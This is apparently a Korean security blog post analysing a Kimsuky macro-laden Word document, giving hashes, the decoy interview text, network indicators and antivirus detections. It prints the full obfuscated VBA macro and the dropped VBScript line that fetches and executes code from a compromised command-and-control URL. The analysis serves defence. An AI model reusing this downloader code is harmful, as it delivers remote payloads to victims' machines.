오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima),블랙반시(Black Banshee) 등으로 불리고 있습니다.
일단 요즈음 뉴스 보니 가상화폐(암호화폐)로 4조 탈취해서 ICBM(대륙간탄도미사일),핵개발등 아무튼 세계 평화에 도움이 안 되는 짓을 했다고 뉴스를 보았습니다. 4조면 밥에다가 소고기, 돼지고기, 치킨에 맥주를 해도 베풀리 먹을 수가 있을 것 같은데.
일단 유포되는 파일명은 다음과 같습니다.
document.doc (copy)
~WRD0000.tmp
아무튼 오늘은 document.doc (copy).doc이라는 오래간만에 매크로 된 악성코드를 분석을 해보겠습니다.
파일명: document.doc (copy). doc
사이즈:40.5 KB
CRC32:8274ed52
MD5:eabac2151828caacfa7c253d84a7b891
SHA-1:20695355bf0d88a3f81b8adf45c5f0bd6bf9dcce
SHA-256:107f319f6a0f9cfc054aa725553a0452b0125da10784d0270befc5d0b75549a8
일단 먼저 해당 글은 특정 정치인 및 푸른 산에 빨간색으로 색칠하든 말든 여기는 색칠 공부를 하는 곳이 아니고 악성코드를 분석하는 곳이고 그리고 해당 악성코드 문서에 나온 글을 통해서 대충 어떤 시기 인지 확인을 하기 위함 이기 때문이며 정치 이야기하고 싶은 분들 해당 주인장은 정치하고 관련 없는 블로그이기 때문에 정치성 글은 삼가 부탁합니다.
일단 문재인 전 대통령 시절에 통일부 전장관 이인영 장관이 나오는 것을 볼 수가 있고 해당 내용을 인터넷에 검색을 해보니 2020.11.26 에 기사가 보이는 것을 보아서 해당 기사를 응용해서 질문 형식으로 돼 있는 것을 확인할 수가 있습니다. 아마도 기자, 대북 관련 종사자, 아니면 대북 업무를 보는 정치인들을 노린 것이 아닐까 생각이 됩니다.
해당 워드 내용은 다음과 같습니다.
그간 이인영 통일부 장관은 백신 등 보건 협력 필요성을 거듭 제기했고
정부 내 공감대도 형성된 것으로 전해졌는데요. 보건 협력이 남북 관계 판을
바꿀 수 있는 중요한 매개가 될 수 있을까요?
Q. 현재 북한도 백신이나 치료제 지원이 절실한 상황이라고 보십니까?
Q. 북한이 통상 4월마다 열리던 최고인민회의를 수개월 앞당겨 1월에 개최하겠다고
발표했는데요. 8차 당대회를 비롯해 1월에 주요 정치 일정들이 몰려 있는데
어떤 메시지가 나올 거라고 보십니까?
Q. 1월 8차 당대회를 기점으로 남북 관계에도 일정 부분 변화가 있지 않겠느냐는
전망들이 나오는데요. 여기에 대해선 어떻게 보십니까?
Q. 한반도 평화를 고민할 때 미중 관계를 고려하지 않을수 없습니다.
바이든 시대,미국과 중국의 관계를 어떻게 전망하십니까?
그리고 언제나 보안 경고 매크로를 사용할 수가 없도록 설정했습니다. 콘텐츠 사용이 있을 것인데 여기서 콘텐츠 사용을 하면 이제 악성코드가 본격적으로 활동을 시작합니다.
일단 해당 워드 악성코드를 실행하면 다음과 같이 동작을 합니다.
"C:\Windows\System32\wscript.exe" //e:vbscript //b
C:\Users\사용자\AppData\Roaming\Microsoft\Office\version.xml
ProcessMonitor(프로세스모니터)를 이용을 해서 보면 더 자세하게 알 수가 있습니다.
일단 해당 명령어 설명은 다음과 같습니다.
Windows 운영 체제의 wscript.exe 를 사용하여 VBScript 스크립트를 실행하는 명령어를 사용하고 있으며 해당 명령어는 C:\Users\사용자\AppData\Roaming\Microsoft\Office\version.xml 이라는 파일에 대해 VBScript 스크립트를 실행하도록 지정을 합니다.
여기서 명령어의 옵션인 //e:vbscript 은 VBScript 엔진을 사용하여 스크립트를 실행하도록 지정시키고 //b 는 스크립트를 배치 모드에서 실행하도록 합니다.
스크립트를 실행하면 스크립트의 출력이 표시되지 않고 명령어를 실행하는 동안에만 실행되고 일반적으로 배치 파일이나 자동화 작업에서 사용
그러면 다음과 같이 폴더에 version.xml 파일이 하나 생긴 것을 볼 수가 있습니다.
그리고 해당 파일을 열어 보면 다음과 같은 내용이 포함돼 있습니다.
On Error Resume Next:Set opst=CreateObject("MSXML2.ServerXMLHTTP.6.0"):opst.open
"GET","http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1",
False:opst.Send:Execute(opst.responseText)
그리고 해당 스크립트가 실행되면 다음과 같이 업로드 가 되며 해당 업로드 되는 사이트를 보니 영세한 사업자의 사이트를 해킹해서 C&C 서버로 사용하는 것 같습니다. 해당 스크립트에 대한 설명입니다.
해당 스크립트는 VBScript 를 사용하여 원격 서버로 GET 요청을 보내고 응답으로 받은 텍스트를 실행하는 기능을 수행을 진행합니다.
명령어를 단계별로 설명하면 다음과 같습니다.
On Error Resume Next: 해당 부분인 문장은 오류가 발생했을 때 오류를 무시하고 다음 명령문을 실행하도록 하며 해당 부분을 통해서 예외 처리를 통해 오류로 말미암은 스크립트 중단을 방지하려는 방법
Set opst = CreateObject("MSXML2.ServerXMLHTTP.6.0"): MSXML2.ServerXMLHTTP.6.0 객체를 생성 해당 객체는 HTTP 요청을 보내고 응답을 받는 데 사용
opst.open "GET", " http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1 "
False: 원격 서버로 GET 요청을 보내려고 open 메서드를 사용
URL에 지정된 주소로 요청을 보내고 False를 사용하여 동기식 요청을 설정
opst.Send: 서버로부터의 응답을 받으려고 대기
Execute(opst.responseText):서버로부터 받은 응답 텍스트를 실행 해당 부분은 받은 텍스트를 스크립트로 실행하는 역할을 합니다.
C:\Users\사용자\AppData\Roaming\Microsoft\Office
자세한 것을 보려고 매크로 편집기를 열어 보려고 하면 비밀번호가 걸려 있어서 확인하기 위해서 작업을 조금 합니다.
일단 매크로를 보고 나서 디버깅을 하면 매크로에 일부러 그랬는지 모르겠지만, 조건문이 프로시저 외부에서 사용되었을 때 발생을 하게 돼 있으며 오류가 안 나게 매크로만 해서 디버깅을 작업하면 다음 사이트로 이동하게 돼 있습니다. 매크로 내용은 다음과 같습니다.
Attribute VB_Name = "This Document"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const gwKlzhTNl = "JLkRKSVnjtI"
Function xkLRDglH(kDZJIuB)
MsgBox "TsTvcarcLZ"
xkLRDglH = kDZJIuB
End Function
If gwKlzhTNl = "CaHyMKWikKylZZJ" Then
Const xGm = "UKQIe"
Else
Const xGm = ""
End If
If gwKlzhTNl = "mseQSbcAFCrUMy" Then
Const mzmb = "GBgFy"
Else
Const mzmb = ""
End If
If gwKlzhTNl = "bSxLpArGJhEPOR" Then
Const xl = "nhIWU"
Else
Const xl = ""
End If
If gwKlzhTNl = "BCFpFdqcalmJ" Then
Const LNxST = "AGauS"
Else
Const LNxST = ""
End If
#If gwKlzhTNl <> "sIlLrctOERyij" Then
Sub ViewPage(nShape)
On Error Resume Next
Set doc = ActiveDocument
Set sel = doc.Shapes(nShape)
sel.Fill.Solid
sel.Delete
For ViewMode = 10 To 0 Step -1
ActiveWindow.View.SeekView = ViewMode
With Selection
.WholeStory
.Font.Hidden = False
.Collapse
End With
Next
End Sub
Sub MainPage(bret)
fn = FreeFile
ui = "miracl" & xGm (&) "e.de" (&) mzmb & "signso" & xGm
& "up." & xGm & "co.kr" & LNxST & "/us" (&) LNxST
& "er/" & LNxST & "views" & xGm & "/resor" & LNxST
& "t/cont" (&) LNxST & "rolle" & mzmb & "r/css/" & xl & "upd" & mzmb & "ate"
rp = Environ("appd" & mzmb & "ata") (&) "\Mi"
& mzmb & "cros" (&) xl & "oft\" & mzmb & "Off" & mzmb & "ice\v"
& mzmb & "ersio" & xGm & "n.xm" & xl & "l"
Open rp For Output As #fn
hs = "On " & mzmb & "Error" & xl (&) " Re" & xG(m)
& "sume " & xl & "Next:" & mzm(b) & "Set " & mz(m)b (&) "opst=" & L(N)xST &
"Create" & mzmb & "Obj" & m(z)mb & "ect("
mids = "MSXML2" & mzmb & ".Se(r)v" (&) xGm & "erXML" & LNxST & "HTTP." & mzmb & "6.0"
hs = hs & """" (&) m(i)ds & """"
mids = "):ops" & LNxS(T) (&) "t.o" & xG(m) & "p(e)n "
hs = hs & mids & """"
mids = "GET"
hs = hs & mids & """," & """"
mids = "http" & mzm(b) & "://xx" & mz(m)b & "x/li(s)" & xl & "t(.)php"
& xGm & "?quer" & mzm(b) & "y=1"
mids = Replace(mids, "x(x)x", ui)
ts = ", Fals" & xGm & "e:(o)" & LNxST & "pst.Se" & xGm & "nd:E"
& xl & "xecu" & LNxST & "te(op" & (x)Gm & "st.res" & x(G)m
& "pon" & mzmb & "seText" & x(G)m & ")"
hs = hs & mids & """" & (t)s
Print #fn, hs
bret = False
Close #fn
Shell "wscri" & mzmb (&) "pt.e" & xl (&) "xe //" (&) xl & "e:vb" (&)
mz(m)b & "scrip" & xl & "t //b " & rp, vbHide
End Sub
Sub AutoOpen()
On Error Resume Next
Application.ActiveWindow.View.Type = wdPrintView
Set wnd = ActiveDocument
wnd.Unprotect "1qaz" (&) xGm (&) "2ws" & mzmb & "x"
ViewPage ("pic")
wnd.Save
MainPage (True)
End Sub
#End If
원인은 다음과 같습니다.
End Sub 다음에 If 문이 나와있기 때문입니다. End Sub는 서브루틴의 종료를 나타내는 키워드이므로, End Sub 이후에는 코드가 없어야 하는데 오류가 발생 #End If 문이 Sub MainPage(bret) 서브루틴 안에 포함돼 있어서 오류가 발생했습니다.
입니다. 최종적으로 접속하는 사이트는 다음과 같습니다.
http://miracle.designsoup.co(.)kr/user/views/resort/controller/css/update/list.php?query=1
인 것을 확인할 수가 있습니다.
HTTP Debugger Pro 보면 다음과 같은 결과를 확인할 수가 있습니다.
GET /user/views/resort/controller/css/update/list(.)php?query=1 HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: ko-KR
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: miracle.designsoup.co(.)kr
인 것을 확인할 수가 있습니다.
그리고 사용을 하는 IP 주소는 다음과 같습니다.
IP Traffic
121.78.88(.)79:80 (TCP)
8.238.42(.)126:80 (TCP)
2023-06-12 09:10:15 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
Acronis (Static ML):Suspicious
ALYac:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Antiy-AVL:Trojan/MSOffice.SAgent.gen
Arcabit:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Avast:Script:SNH-gen [Drp]
AVG:Script:SNH-gen [Drp]
Avira (no cloud):W97M/Agent.8327111
BitDefender:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Cynet:Malicious (score: 99)
Elastic:Malicious (high Confidence)
Emsisoft:VB.Heur2.EmoDldr.6.8FDE8573.Gen (B)
eScan:VB.Heur2.EmoDldr.6.8FDE8573.Gen
ESET-NOD32:VBA/TrojanDownloader.Agent.VHA
F-Secure:Malware.W97M/Agent.8327111
Fortinet:VBA/Agent.8372!tr
GData:VB.Heur2.EmoDldr.6.8FDE8573.Gen
Google:Detected
Ikarus:Trojan-Downloader.VBA.Agent
Kaspersky:UDS:DangerousObject.Multi.Generic
Lionic:Trojan.MSWord.SLoad.4!c
MAX:Malware (ai Score=80)
McAfee:W97M/Downloader.dkh
McAfee-GW-Edition:BehavesLike.OLE2.Downloader.px
Microsoft:TrojanDownloader:O97M/Obfuse!MTB
NANO-Antivirus:Trojan.Ole2.Vbs-heuristic.druvzi
Rising:Downloader.Agent!8.B23 (TOPIS:E0:N2Rj37hPkdP)
Sangfor Engine Zero:Malware.Generic-Macro.Save.4cb6547c
SentinelOne (Static ML):Static AI - Malicious OLE
Sophos:Troj/DocDl-ADYY
Symantec:Trojan.Gen.NPE
TACHYON:Suspicious/W97M.DRP.Gen
Tencent:Trojan.MsOffice.MacroS.11002729
Trellix (FireEye):VB.Heur2.EmoDldr.6.8FDE8573.Gen
TrendMicro:TROJ_FRS.0NA103GT21
TrendMicro-HouseCall:TROJ_FRS.0NA103GT21
VIPRE:VB.Heur2.EmoDldr.6.8FDE8573.Gen
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.VBS.SLoad.gen
이고 프로세스모니터를 이용을 해서 보면 IRP_MJ_CREATE,FASTIO_NETWORK_QUERY_OPEN등을 사용을 해서 파일 시스템의 동작을 추적하고 모니터링,네트워크 관련 파일 열기 쿼리등이 발생을 하는 것을 볼 수가 있습니다.
일단 기본적으로 백신프로그램을 사용하고 기본적인 보안 수칙을 지키는 것이 안전하게 사용을 하는 방법입니다. 물론 안랩 V3는 탐지하지 못해서 해당 악성코드는 일단 신고는 했습니다.(2023.6.13 17시쯤 신고)
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
스타벅스 NFT 에어드랍 피싱 메일(2023.5.31) (0) | 2023.06.16 |
---|---|
윈도우 10 KB5026435,KB5027215 보안 업데이트 (0) | 2023.06.15 |
러시아 인리스티드(Enlisted) FPS 게임 유포 되는 워너 크라이 랜섬웨어 (0) | 2023.06.15 |
Tutanota 이메일 피싱 사이트-ipfs(.)io(2032.6.10) (0) | 2023.06.15 |
로맨스 스캠-친애하는 하나님의 선택..(2023.06.08) (0) | 2023.06.13 |
KBO 크볼렉트 NFT 무료 에어드랍 이벤트 피싱 메일(2023.06.10) (0) | 2023.06.11 |
북한 해킹 단체 Reaper(리퍼)에서 만든 악성코드-mfc100.dll(2023.5.29) (0) | 2023.06.09 |
Tutanota(투타노타) 피싱 메일 분석(2023.06.07) (0) | 2023.06.09 |